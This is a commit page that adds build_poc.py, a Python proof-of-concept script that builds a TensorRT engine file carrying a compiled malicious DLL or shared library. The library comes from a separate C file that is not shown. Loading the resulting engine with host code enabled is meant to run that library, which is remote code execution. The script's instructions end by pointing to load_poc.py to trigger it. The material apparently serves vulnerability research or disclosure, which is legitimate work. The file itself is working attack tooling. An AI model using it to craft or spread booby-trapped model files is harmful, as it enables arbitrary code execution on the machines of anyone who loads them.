treforbenbow commited on
Commit
9f36fb4
·
verified ·
1 Parent(s): 2774b43

Upload build_poc.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. build_poc.py +259 -0
build_poc.py ADDED
@@ -0,0 +1,259 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC Builder: Creates a malicious TensorRT engine file with embedded native code.
4
+
5
+ This script:
6
+ 1. Compiles a malicious DLL/SO with code that executes on load
7
+ 2. Builds a TensorRT engine embedding the malicious library
8
+ 3. The resulting .engine file triggers arbitrary code execution when deserialized
9
+
10
+ Usage: python build_poc.py
11
+ """
12
+
13
+ import os
14
+ import sys
15
+ import subprocess
16
+ import tempfile
17
+ import struct
18
+ import platform
19
+
20
+ SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
21
+ PROJECT_DIR = os.path.dirname(SCRIPT_DIR)
22
+ EVIDENCE_DIR = os.path.join(PROJECT_DIR, "evidence")
23
+
24
+ os.makedirs(EVIDENCE_DIR, exist_ok=True)
25
+
26
+
27
+ def find_msvc():
28
+ """Find MSVC cl.exe on Windows."""
29
+ import glob
30
+ patterns = [
31
+ r"C:\Program Files\Microsoft Visual Studio\*\*\VC\Tools\MSVC\*\bin\Hostx64\x64\cl.exe",
32
+ r"C:\Program Files (x86)\Microsoft Visual Studio\*\*\VC\Tools\MSVC\*\bin\Hostx64\x64\cl.exe",
33
+ ]
34
+ for pattern in patterns:
35
+ matches = glob.glob(pattern)
36
+ if matches:
37
+ return sorted(matches)[-1] # Latest version
38
+ return None
39
+
40
+
41
+ def find_msvc_env():
42
+ """Find vcvarsall.bat to set up MSVC environment."""
43
+ import glob
44
+ patterns = [
45
+ r"C:\Program Files\Microsoft Visual Studio\*\*\VC\Auxiliary\Build\vcvarsall.bat",
46
+ r"C:\Program Files (x86)\Microsoft Visual Studio\*\*\VC\Auxiliary\Build\vcvarsall.bat",
47
+ ]
48
+ for pattern in patterns:
49
+ matches = glob.glob(pattern)
50
+ if matches:
51
+ return sorted(matches)[-1]
52
+ return None
53
+
54
+
55
+ def compile_dll_windows(source_path: str, output_path: str) -> bool:
56
+ """Compile the malicious plugin as a Windows DLL using MSVC."""
57
+ vcvarsall = find_msvc_env()
58
+ if not vcvarsall:
59
+ print("[!] Could not find vcvarsall.bat")
60
+ return False
61
+
62
+ # Use cmd.exe to run vcvarsall then compile
63
+ output_dir = os.path.dirname(output_path)
64
+ basename = os.path.splitext(os.path.basename(output_path))[0]
65
+
66
+ cmd = f'"{vcvarsall}" x64 && cl.exe /LD /Fe:"{output_path}" "{source_path}" /link /DLL'
67
+ print(f"[*] Compiling DLL: {cmd}")
68
+
69
+ result = subprocess.run(
70
+ ["cmd.exe", "/c", cmd],
71
+ capture_output=True, text=True,
72
+ cwd=output_dir
73
+ )
74
+
75
+ if result.returncode != 0:
76
+ print(f"[!] Compilation failed:\n{result.stderr}\n{result.stdout}")
77
+ return False
78
+
79
+ if os.path.exists(output_path):
80
+ print(f"[+] DLL compiled: {output_path} ({os.path.getsize(output_path)} bytes)")
81
+ return True
82
+
83
+ print("[!] DLL file not found after compilation")
84
+ return False
85
+
86
+
87
+ def compile_so_linux(source_path: str, output_path: str) -> bool:
88
+ """Compile the malicious plugin as a Linux .so using gcc."""
89
+ cmd = ["gcc", "-shared", "-fPIC", "-o", output_path, source_path, "-Wl,--no-as-needed"]
90
+ print(f"[*] Compiling: {' '.join(cmd)}")
91
+ result = subprocess.run(cmd, capture_output=True, text=True)
92
+ if result.returncode != 0:
93
+ print(f"[!] Compilation failed: {result.stderr}")
94
+ return False
95
+ print(f"[+] SO compiled: {output_path} ({os.path.getsize(output_path)} bytes)")
96
+ return True
97
+
98
+
99
+ def build_engine(plugin_path: str, engine_path: str) -> bool:
100
+ """Build a TensorRT engine with the malicious plugin embedded."""
101
+ try:
102
+ import tensorrt as trt
103
+ except ImportError:
104
+ print("[!] TensorRT not installed: pip install tensorrt")
105
+ return False
106
+
107
+ print(f"[*] TensorRT version: {trt.__version__}")
108
+ TRT_LOGGER = trt.Logger(trt.Logger.WARNING)
109
+
110
+ # Create builder and network
111
+ builder = trt.Builder(TRT_LOGGER)
112
+ network = builder.create_network(
113
+ 1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
114
+ )
115
+ config = builder.create_builder_config()
116
+
117
+ # Minimal identity network
118
+ inp = network.add_input("input", trt.DataType.FLOAT, (1, 3, 224, 224))
119
+ identity = network.add_identity(inp)
120
+ identity.get_output(0).name = "output"
121
+ network.mark_output(identity.get_output(0))
122
+
123
+ # CRITICAL: Embed the malicious plugin into the engine file
124
+ # This serializes the entire binary content of the DLL/SO into the .engine file.
125
+ # When loaded with engine_host_code_allowed=True, TensorRT extracts and LoadLibrary/dlopen's it.
126
+ plugin_path_abs = os.path.abspath(plugin_path)
127
+ print(f"[*] Embedding plugin: {plugin_path_abs}")
128
+ print(f"[*] Plugin size: {os.path.getsize(plugin_path_abs)} bytes")
129
+
130
+ config.plugins_to_serialize = [plugin_path_abs]
131
+
132
+ print("[*] Building serialized network...")
133
+ serialized = builder.build_serialized_network(network, config)
134
+
135
+ if serialized is None:
136
+ print("[!] Engine build failed (build_serialized_network returned None)")
137
+ print("[!] This may indicate the plugin library format is incompatible")
138
+ return False
139
+
140
+ engine_bytes = bytes(serialized)
141
+ with open(engine_path, "wb") as f:
142
+ f.write(engine_bytes)
143
+
144
+ print(f"[+] Engine saved: {engine_path}")
145
+ print(f"[+] Engine size: {len(engine_bytes)} bytes")
146
+
147
+ # Verify the plugin binary is embedded in the engine
148
+ with open(plugin_path_abs, "rb") as f:
149
+ plugin_bytes = f.read()
150
+
151
+ if plugin_bytes[:64] in engine_bytes:
152
+ print(f"[+] CONFIRMED: Plugin binary content found embedded in engine file")
153
+ else:
154
+ print("[*] Note: Plugin may be stored in a transformed format within the engine")
155
+
156
+ return True
157
+
158
+
159
+ def try_version_compatible_engine(engine_path: str) -> bool:
160
+ """
161
+ Alternative: Build a version-compatible engine that embeds the lean runtime.
162
+ This demonstrates that even WITHOUT custom plugins, the engine format
163
+ can carry executable code (the lean runtime itself).
164
+ """
165
+ try:
166
+ import tensorrt as trt
167
+ except ImportError:
168
+ return False
169
+
170
+ TRT_LOGGER = trt.Logger(trt.Logger.WARNING)
171
+ builder = trt.Builder(TRT_LOGGER)
172
+ network = builder.create_network(
173
+ 1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
174
+ )
175
+ config = builder.create_builder_config()
176
+
177
+ inp = network.add_input("input", trt.DataType.FLOAT, (1, 3, 224, 224))
178
+ identity = network.add_identity(inp)
179
+ identity.get_output(0).name = "output"
180
+ network.mark_output(identity.get_output(0))
181
+
182
+ # Enable version-compatible mode — this embeds libnvinfer_lean into the engine
183
+ try:
184
+ config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE)
185
+ print("[*] Building version-compatible engine (embeds lean runtime)...")
186
+ serialized = builder.build_serialized_network(network, config)
187
+ if serialized:
188
+ engine_bytes = bytes(serialized)
189
+ vc_path = engine_path.replace(".engine", "_version_compatible.engine")
190
+ with open(vc_path, "wb") as f:
191
+ f.write(engine_bytes)
192
+ print(f"[+] Version-compatible engine: {vc_path} ({len(engine_bytes)} bytes)")
193
+ print(f"[+] This engine embeds the lean runtime (~40MB of native code)")
194
+ return True
195
+ except Exception as e:
196
+ print(f"[*] Version-compatible build not supported: {e}")
197
+
198
+ return False
199
+
200
+
201
+ def main():
202
+ print("=" * 70)
203
+ print("TensorRT Engine File RCE PoC Builder")
204
+ print("=" * 70)
205
+ print()
206
+
207
+ source_path = os.path.join(SCRIPT_DIR, "malicious_plugin.c")
208
+ if not os.path.exists(source_path):
209
+ print(f"[!] Plugin source not found: {source_path}")
210
+ sys.exit(1)
211
+
212
+ is_windows = platform.system() == "Windows"
213
+
214
+ # Step 1: Compile the malicious plugin
215
+ print("[*] Phase 1: Compiling malicious plugin...")
216
+ if is_windows:
217
+ plugin_path = os.path.join(EVIDENCE_DIR, "malicious_plugin.dll")
218
+ success = compile_dll_windows(source_path, plugin_path)
219
+ else:
220
+ plugin_path = os.path.join(EVIDENCE_DIR, "libmalicious_plugin.so")
221
+ success = compile_so_linux(source_path, plugin_path)
222
+
223
+ if not success:
224
+ print("[!] Plugin compilation failed")
225
+ sys.exit(1)
226
+
227
+ # Step 2: Build engine with embedded plugin
228
+ print()
229
+ print("[*] Phase 2: Building TensorRT engine with embedded malicious code...")
230
+ engine_path = os.path.join(EVIDENCE_DIR, "malicious_model.engine")
231
+ success = build_engine(plugin_path, engine_path)
232
+
233
+ if not success:
234
+ print()
235
+ print("[!] Engine build with embedded plugin failed.")
236
+ print("[*] Trying alternative: version-compatible engine...")
237
+ print()
238
+ try_version_compatible_engine(engine_path)
239
+
240
+ # Step 3: Also try version-compatible engine as additional evidence
241
+ print()
242
+ print("[*] Phase 3: Attempting version-compatible engine build (additional evidence)...")
243
+ try_version_compatible_engine(engine_path)
244
+
245
+ print()
246
+ print("=" * 70)
247
+ print("[*] PoC Build Complete")
248
+ print(f"[*] Evidence directory: {EVIDENCE_DIR}")
249
+ print(f"[*] Plugin: {plugin_path}")
250
+ if os.path.exists(engine_path):
251
+ print(f"[*] Engine: {engine_path}")
252
+ print()
253
+ print("[*] To trigger RCE, run:")
254
+ print(f" python load_poc.py \"{engine_path}\"")
255
+ print("=" * 70)
256
+
257
+
258
+ if __name__ == "__main__":
259
+ main()